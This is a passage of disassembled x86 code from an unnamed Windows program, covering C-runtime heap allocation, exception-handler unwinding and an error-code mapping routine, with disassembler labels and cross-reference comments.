mov eax, [ebp+var_1C]
push eax
call sub_409250
pop ecx
loc_407C6D: ; CODE XREF: sub_407B60+E3j
or [ebp+var_4], 0FFFFFFFFh
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_407B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C90 proc near ; CODE XREF: sub_407F20+ECp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 0Eh
shl eax, 0Eh
lea esi, [eax+4000h]
mov edi, esi
shl edi, 2
push edi
call sub_409970
pop ecx
mov [ebp+var_8], eax
test eax, eax
jnz short loc_407CCF
mov dword_4117E0, 0
xor eax, eax
jmp loc_407F0D
; ---------------------------------------------------------------------------
loc_407CCF: ; CODE XREF: sub_407C90+2Cj
mov eax, dword_4127EC
mov edx, dword_4127E8
add eax, edx
cmp eax, [ebp+var_8]
jnz short loc_407CF5
mov ebx, dword_4127E8
mov eax, dword_4127EC
add edi, eax
mov esi, edi
shr esi, 2
jmp short loc_407D02
; ---------------------------------------------------------------------------
loc_407CF5: ; CODE XREF: sub_407C90+4Fj
mov eax, [ebp+var_8]
mov ebx, eax
mov edx, ebx
sub edx, eax
mov eax, edx
sub edi, eax
loc_407D02: ; CODE XREF: sub_407C90+63j
mov eax, esi
shl eax, 2
lea edx, [ebx+eax]
mov dword_4127E8, edx
mov edx, edi
sub edx, eax
mov eax, edx
mov dword_4127EC, eax
mov eax, dword_4111CC
add eax, 4
cmp ebx, eax
jnz short loc_407D34
cmp dword_4111D4, 0
jnz loc_407EA6
loc_407D34: ; CODE XREF: sub_407C90+95j
mov eax, dword_4111D4
mov [ebp+var_C], eax
mov dword_4111D4, ebx
mov eax, [ebp+var_C]
mov [ebx], eax
add ebx, 4
dec esi
mov dword_4111CC, ebx
mov eax, dword_4111D0
test eax, eax
jz short loc_407D5E
cmp eax, ebx
jbe short loc_407D64
loc_407D5E: ; CODE XREF: sub_407C90+C8j
mov dword_4111D0, ebx
loc_407D64: ; CODE XREF: sub_407C90+CCj
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4-4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, esi
or eax, 80000000h
mov [edx], eax
sub esi, 2
add ebx, 4
mov eax, dword_4111CC
lea ebx, [eax-4]
cmp esi, dword_4111E4
ja short loc_407DD2
cmp esi, dword_4111DC
ja short loc_407DBA
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_407DCD
; ---------------------------------------------------------------------------
loc_407DBA: ; CODE XREF: sub_407C90+116j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_407DCD: ; CODE XREF: sub_407C90+128j
mov eax, [ebp+var_10]
jmp short loc_407E02
; ---------------------------------------------------------------------------
loc_407DD2: ; CODE XREF: sub_407C90+10Ej
cmp esi, dword_4111EC
ja short loc_407DEF
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_407E02
; ---------------------------------------------------------------------------
loc_407DEF: ; CODE XREF: sub_407C90+148j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_407E02: ; CODE XREF: sub_407C90+140j
; sub_407C90+15Dj
mov eax, [ebp+var_10]
mov dword_4111FC, eax
mov eax, dword_4111FC
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_407E48
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
mov eax, dword_4111FC
cmp dword_4111F8, eax
jle short loc_407E51
mov eax, dword_4111FC
mov dword_4111F8, eax
jmp short loc_407E51
; ---------------------------------------------------------------------------
loc_407E48: ; CODE XREF: sub_407C90+18Bj
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_407E51: ; CODE XREF: sub_407C90+1AAj
; sub_407C90+1B6j
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, esi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], esi
mov [ebx], esi
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
jmp short loc_407E8B
; ---------------------------------------------------------------------------
loc_407E85: ; CODE XREF: sub_407C90+20Dj
inc dword_4111F8
loc_407E8B: ; CODE XREF: sub_407C90+1F3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_407E9F
cmp eax, 7
jl short loc_407E85
loc_407E9F: ; CODE XREF: sub_407C90+208j
mov eax, 1
jmp short loc_407F0D
; ---------------------------------------------------------------------------
loc_407EA6: ; CODE XREF: sub_407C90+9Ej
add ebx, 0FFFFFFFCh
mov eax, [ebx]
and eax, 7FFFFFFFh
add eax, esi
mov [ebp+var_4], eax
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, [ebx]
mov [edx-4], eax
mov edx, dword_4111CC
mov eax, [ebp+var_4]
or eax, 80000000h
mov [edx], eax
mov eax, [ebp+var_4]
mov edx, dword_4111CC
mov ecx, eax
shl ecx, 2
sub edx, ecx
or eax, 80000000h
mov [edx+4], eax
lea eax, [ebx+4]
push eax
call sub_4071B0
pop ecx
mov eax, 1
loc_407F0D: ; CODE XREF: sub_407C90+3Aj
; sub_407C90+214j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F20 proc near ; CODE XREF: sub_408260+4Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
xor ebx, ebx
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 2
lea esi, [eax+2]
cmp esi, 4
jnb short loc_407F41
mov esi, 4
loc_407F41: ; CODE XREF: sub_407F20+1Aj
xor edi, edi
cmp esi, dword_4111E4
ja short loc_407F7D
cmp esi, dword_4111DC
ja short loc_407F65
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_407F78
; ---------------------------------------------------------------------------
loc_407F65: ; CODE XREF: sub_407F20+31j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_407F78: ; CODE XREF: sub_407F20+43j
mov eax, [ebp+var_10]
jmp short loc_407FAD
; ---------------------------------------------------------------------------
loc_407F7D: ; CODE XREF: sub_407F20+29j
cmp esi, dword_4111EC
ja short loc_407F9A
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_407FAD
; ---------------------------------------------------------------------------
loc_407F9A: ; CODE XREF: sub_407F20+63j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_407FAD: ; CODE XREF: sub_407F20+5Bj
; sub_407F20+78j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, dword_4111F8
cmp [ebp+var_C], eax
jge short loc_407FFD
mov eax, dword_4111F8
mov [ebp+var_C], eax
jmp short loc_407FFD
; ---------------------------------------------------------------------------
loc_407FC7: ; CODE XREF: sub_407F20+E5j
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov eax, dword_4111A8[eax*4]
mov ebx, eax
test eax, eax
jz short loc_407FFD
mov eax, dword_4111CC
add eax, 0FFFFFFFCh
cmp ebx, eax
jnz short loc_407FEC
mov ebx, [ebx-4]
loc_407FEC: ; CODE XREF: sub_407F20+C7j
mov [ebp+var_4], ebx
loc_407FEF: ; CODE XREF: sub_407F20+DBj
mov edi, [ebx]
cmp edi, esi
jnb short loc_407FFD
mov ebx, [ebx-4]
cmp ebx, [ebp+var_4]
jnz short loc_407FEF
loc_407FFD: ; CODE XREF: sub_407F20+9Bj
; sub_407F20+A5j ...
cmp edi, esi
jnb short loc_408007
cmp [ebp+var_C], 8
jl short loc_407FC7
loc_408007: ; CODE XREF: sub_407F20+DFj
cmp edi, esi
jnb short loc_40802D
push esi
call sub_407C90
pop ecx
test eax, eax
jz loc_408257
mov eax, dword_4111FC
mov [ebp+var_C], eax
mov ebx, dword_4111A8[eax*4]
mov edi, [ebx]
jmp short loc_408036
; ---------------------------------------------------------------------------
loc_40802D: ; CODE XREF: sub_407F20+E9j
cmp [ebp+var_C], 0
jle short loc_408036
dec [ebp+var_C]
loc_408036: ; CODE XREF: sub_407F20+10Bj
; sub_407F20+111j
mov eax, edi
sub eax, esi
mov [ebp+var_14], eax
cmp eax, 4
jb loc_4081BF
mov eax, dword_4111E4
cmp [ebp+var_14], eax
ja short loc_408086
mov eax, dword_4111DC
cmp [ebp+var_14], eax
ja short loc_40806D
mov eax, dword_4111D8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
mov [ebp+var_1C], eax
jmp short loc_408081
; ---------------------------------------------------------------------------
loc_40806D: ; CODE XREF: sub_407F20+138j
mov eax, dword_4111E0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_1C], eax
loc_408081: ; CODE XREF: sub_407F20+14Bj
mov eax, [ebp+var_1C]
jmp short loc_4080BA
; ---------------------------------------------------------------------------
loc_408086: ; CODE XREF: sub_407F20+12Ej
mov eax, dword_4111EC
cmp [ebp+var_14], eax
ja short loc_4080A6
mov eax, dword_4111E8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_1C], eax
jmp short loc_4080BA
; ---------------------------------------------------------------------------
loc_4080A6: ; CODE XREF: sub_407F20+16Ej
mov eax, dword_4111F0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_1C], eax
loc_4080BA: ; CODE XREF: sub_407F20+164j
; sub_407F20+184j
mov eax, [ebp+var_1C]
mov [ebp+var_18], eax
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jz loc_4081AC
mov eax, [ebx-4]
mov [ebp+var_20], eax
cmp ebx, [ebp+var_20]
jnz short loc_40810E
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_40813F
jmp short loc_4080F8
; ---------------------------------------------------------------------------
loc_4080F2: ; CODE XREF: sub_407F20+1EAj
inc dword_4111F8
loc_4080F8: ; CODE XREF: sub_407F20+1D0j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_40810C
cmp eax, 7
jl short loc_4080F2
loc_40810C: ; CODE XREF: sub_407F20+1E5j
jmp short loc_40813F
; ---------------------------------------------------------------------------
loc_40810E: ; CODE XREF: sub_407F20+1B5j
mov eax, [ebx-8]
mov [ebp+var_24], eax
mov edx, [ebp+var_24]
mov eax, [ebp+var_20]
mov [edx-4], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_24]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_40813F
mov eax, [ebp+var_C]
mov edx, [ebp+var_24]
mov dword_4111A8[eax*4], edx
loc_40813F: ; CODE XREF: sub_407F20+1CEj
; sub_407F20:loc_40810Cj ...
mov eax, [ebp+var_18]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_24], eax
test eax, eax
jnz short loc_408175
mov [ebp+var_20], ebx
mov [ebp+var_24], ebx
mov eax, [ebp+var_18]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_18]
cmp dword_4111F8, eax
jle short loc_40817E
mov eax, [ebp+var_18]
mov dword_4111F8, eax
jmp short loc_40817E
; ---------------------------------------------------------------------------
loc_408175: ; CODE XREF: sub_407F20+22Ej
mov eax, [ebp+var_24]
mov eax, [eax-8]
mov [ebp+var_20], eax
loc_40817E: ; CODE XREF: sub_407F20+249j
; sub_407F20+253j
mov eax, [ebp+var_24]
mov [ebx-4], eax
mov edx, [ebp+var_24]
mov [edx-8], ebx
mov edx, [ebp+var_20]
mov [edx-4], ebx
mov eax, [ebp+var_20]
mov [ebx-8], eax
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp loc_408234
; ---------------------------------------------------------------------------
loc_4081AC: ; CODE XREF: sub_407F20+1A6j
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp short loc_408234
; ---------------------------------------------------------------------------
loc_4081BF: ; CODE XREF: sub_407F20+120j
mov eax, [ebx-4]
mov [ebp+var_1C], eax
cmp ebx, [ebp+var_1C]
jnz short loc_408201
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_408232
jmp short loc_4081EB
; ---------------------------------------------------------------------------
loc_4081E5: ; CODE XREF: sub_407F20+2DDj
inc dword_4111F8
loc_4081EB: ; CODE XREF: sub_407F20+2C3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_4081FF
cmp eax, 7
jl short loc_4081E5
loc_4081FF: ; CODE XREF: sub_407F20+2D8j
jmp short loc_408232
; ---------------------------------------------------------------------------
loc_408201: ; CODE XREF: sub_407F20+2A8j
mov eax, [ebx-8]
mov [ebp+var_20], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx-4], eax
mov edx, [ebp+var_1C]
mov eax, [ebp+var_20]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_408232
mov eax, [ebp+var_C]
mov edx, [ebp+var_20]
mov dword_4111A8[eax*4], edx
loc_408232: ; CODE XREF: sub_407F20+2C1j
; sub_407F20:loc_4081FFj ...
mov esi, edi
loc_408234: ; CODE XREF: sub_407F20+287j
; sub_407F20+29Dj
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
lea eax, [edx+4]
mov [ebp+var_8], eax
mov edx, esi
or edx, 80000000h
mov [eax+esi*4-4], edx
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
loc_408257: ; CODE XREF: sub_407F20+F4j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408260 proc near ; CODE XREF: sub_406E00+Dp
; sub_4079D0+Ap ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 004082C7 SIZE 00000038 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8FC
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_1C], 0
mov eax, dword_4117E0
cmp [ebp+arg_0], eax
jnb short loc_4082C7
push 0
call sub_408800
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_407F20
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_4082BE
jmp short loc_4082C7
sub_408260 endp
; =============== S U B R O U T I N E =======================================
sub_4082BE proc near ; CODE XREF: sub_408260+57p
; DATA XREF: DMN0:0040F904o
push 0
call sub_408880
pop ecx
retn
sub_4082BE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_408260
loc_4082C7: ; CODE XREF: sub_408260+35j
; sub_408260+5Cj
cmp [ebp+var_1C], 0
jnz short loc_4082DA
mov eax, [ebp+arg_0]
push eax
call sub_4086B0
pop ecx
mov [ebp+var_1C], eax
loc_4082DA: ; CODE XREF: sub_408260+6Bj
cmp [ebp+var_1C], 0
jnz short loc_4082EB
call sub_408460
mov dword ptr [eax], 0Ch
loc_4082EB: ; CODE XREF: sub_408260+7Ej
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_408260
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408300 proc near ; CODE XREF: sub_4079D0+7Bp
; sub_408E40+80p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 91h
jz loc_4083D2
jg short loc_40835D
cmp ebx, 50h
jl short loc_408324
cmp ebx, 59h
jg short loc_408335
jmp dword ptr aProtorecvDataS+4[ebx*4]
; ---------------------------------------------------------------------------
loc_408324: ; CODE XREF: sub_408300+16j
cmp ebx, 1
jl short loc_4083A2
cmp ebx, 43h
jg short loc_4083A2
jmp off_40F92C[ebx*4]
; ---------------------------------------------------------------------------
loc_408335: ; CODE XREF: sub_408300+1Bj
cmp ebx, 6Ch
jl short loc_4083A2
cmp ebx, 72h
jg short loc_408346
jmp dword ptr a02i02i02iIIIS+7[ebx*4]
; ---------------------------------------------------------------------------
loc_408346: ; CODE XREF: sub_408300+3Dj
cmp ebx, 80h
jl short loc_4083A2
cmp ebx, 84h
jg short loc_4083A2
jmp dword ptr aWinsock2_xInit+0Fh[ebx*4]
; ---------------------------------------------------------------------------
loc_40835D: ; CODE XREF: sub_408300+11j
cmp ebx, 0A4h
jz short loc_4083DF
cmp ebx, 0A7h
jz short loc_4083D2
jg short loc_408381
cmp ebx, 9Eh
jz short loc_4083D2
cmp ebx, 0A1h
jz short loc_4083B2
jmp short loc_4083A2
; ---------------------------------------------------------------------------
loc_408381: ; CODE XREF: sub_408300+6Dj
cmp ebx, 0B7h
jl short loc_4083A2
cmp ebx, 0D7h
jg short loc_408398
jmp dword ptr aHandshakeBadPa+1[ebx*4]
; ---------------------------------------------------------------------------
loc_408398: ; CODE XREF: sub_408300+8Fj
cmp ebx, 718h
jz short loc_4083C2
jmp short $+2
loc_4083A2: ; CODE XREF: sub_408300+27j
; sub_408300+2Cj ...
call sub_408460
mov dword ptr [eax], 16h
jmp loc_408452
; ---------------------------------------------------------------------------
loc_4083B2: ; CODE XREF: sub_408300+2Ej
; sub_408300+7Dj ...
call sub_408460
mov dword ptr [eax], 2
jmp loc_408452
; ---------------------------------------------------------------------------
loc_4083C2: ; CODE XREF: sub_408300+2Ej
; sub_408300+9Ej ...
call sub_408460
mov dword ptr [eax], 0Ch
jmp loc_408452
; ---------------------------------------------------------------------------
loc_4083D2: ; CODE XREF: sub_408300+Bj
; sub_408300+2Ej ...
call sub_408460
mov dword ptr [eax], 0Dh
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_4083DF: ; CODE XREF: sub_408300+2Ej
; sub_408300+63j ...
call sub_408460
mov dword ptr [eax], 0Bh
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_4083EC: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 11h
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_4083F9: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 9
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_408406: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 0Ah
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_408413: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 8
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_408420: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 18h
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_40842D: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 1Ch
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_40843A: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 20h
jmp short loc_408452
; ---------------------------------------------------------------------------
loc_408447: ; CODE XREF: sub_408300+2Ej
; sub_44A621+2Ej
; DATA XREF: ...
call sub_408460
mov dword ptr [eax], 12h
loc_408452: ; CODE XREF: sub_408300+ADj
; sub_408300+BDj ...
pop ebx
retn
sub_408300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408460 proc near ; CODE XREF: sub_406E30+1Bp
; sub_408260+80p ...
call sub_409150
add eax, 8
retn
sub_408460 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408478 proc near ; DATA XREF: sub_4071B0+Ao
; sub_4073C0+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz short loc_40850D
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4084A7: ; CODE XREF: sub_408478+8Cj
cmp esi, 0FFFFFFFFh
jz short loc_40851D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_4084FB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
test eax, eax
jz short loc_4084FB
js short loc_408506
mov edi, [ebx+8]
push ebx
call sub_408550
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4085A0
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_408649
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_4084FB: ; CODE XREF: sub_408478+3Cj
; sub_408478+4Ej
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4084A7
; ---------------------------------------------------------------------------
loc_408506: ; CODE XREF: sub_408478+50j
mov eax, 0
jmp short loc_408522
; ---------------------------------------------------------------------------
loc_40850D: ; CODE XREF: sub_408478+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4085A0
add esp, 8
pop ebp
loc_40851D: ; CODE XREF: sub_408478+32j
mov eax, 1
loc_408522: ; CODE XREF: sub_408478+93j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408478 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4085A0
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408550 proc near ; CODE XREF: sub_408478+56p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_408568
push [ebp+arg_0]
call sub_40D4E0
loc_408568: ; DATA XREF: sub_408550+Bo
; sub_44A871+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408550 endp
; =============== S U B R O U T I N E =======================================
sub_408570 proc near ; DATA XREF: sub_4085A0+Ao
; DMN0:00408619o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_408591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_408591: ; CODE XREF: sub_408570+10j
retn
sub_408570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4085A0 proc near ; CODE XREF: sub_408478+63p
; sub_408478+9Cp ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_408570
push large dword ptr fs:0
mov large fs:0, esp
loc_4085BD: ; CODE XREF: sub_4085A0:loc_4085F8j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4085FA
cmp esi, [esp+1Ch+arg_4]
jz short loc_4085FA
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4085F8
push 101h
mov eax, [ebx+esi*4+8]
call sub_408649
call dword ptr [ebx+esi*4+8]
loc_4085F8: ; CODE XREF: sub_4085A0+44j
jmp short loc_4085BD
; ---------------------------------------------------------------------------
loc_4085FA: ; CODE XREF: sub_4085A0+2Aj
; sub_4085A0+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4085A0 endp
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_408570
jnz short locret_408632
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_408632
mov eax, 1
locret_408632: ; CODE XREF: DMN0:00408620j
; DMN0:0040862Bj
retn
; ---------------------------------------------------------------------------
align 10h
push ebx
push ecx
mov ebx, offset dword_411200
jmp short loc_408653
; =============== S U B R O U T I N E =======================================
sub_408649 proc near ; CODE XREF: sub_408478+74p
; sub_4085A0+4Fp
push ebx
push ecx
mov ebx, offset dword_411200
mov ecx, [ebp+8]
loc_408653: ; CODE XREF: DMN0:00408647j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_408649 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408670 proc near ; CODE XREF: sub_407B60+36p
push 0
push 1000h
push 0
call dword_411DB0
mov dword_4127F0, eax
test eax, eax
setnz al
and eax, 1
retn
sub_408670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, dword_4127F0
push eax
call dword_411DB4
mov dword_4127F0, 0
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4086B0 proc near ; CODE XREF: sub_408260+71p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DB8
retn
sub_4086B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DBC
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4086F0 proc near ; CODE XREF: sub_4071B0+41p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC0
retn
sub_4086F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
mov eax, [esp+0Ch]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC4
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_408732
xor esi, esi
jmp short loc_408734
; ---------------------------------------------------------------------------
loc_408732: ; CODE XREF: DMN0:0040872Cj
mov esi, ebx
loc_408734: ; CODE XREF: DMN0:00408730j
mov eax, esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+4]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC8
test eax, eax
setnz al
and eax, 1
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408760 proc near ; CODE XREF: sub_409090+1p
mov eax, off_411210
push eax
call dword_411CC8
mov eax, off_411214
push eax
call dword_411CC8
mov eax, off_411218
push eax
call dword_411CC8
mov eax, off_41121C
push eax
call dword_411CC8
retn
sub_408760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4087A0 proc near ; CODE XREF: DMN0:004090F0p
push ebx
mov ebx, 4
loc_4087A6: ; CODE XREF: sub_4087A0+2Aj
